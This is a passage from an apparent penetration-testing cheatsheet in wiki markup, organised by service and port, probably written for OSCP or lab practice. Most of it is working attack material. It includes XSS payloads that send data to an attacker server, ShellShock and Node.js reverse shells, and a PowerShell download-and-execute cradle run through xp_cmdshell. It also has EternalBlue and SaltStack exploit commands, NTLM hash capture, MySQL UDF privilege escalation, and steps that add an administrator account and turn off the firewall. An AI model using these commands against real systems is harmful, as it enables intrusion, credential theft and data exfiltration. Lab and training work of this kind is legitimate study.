</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

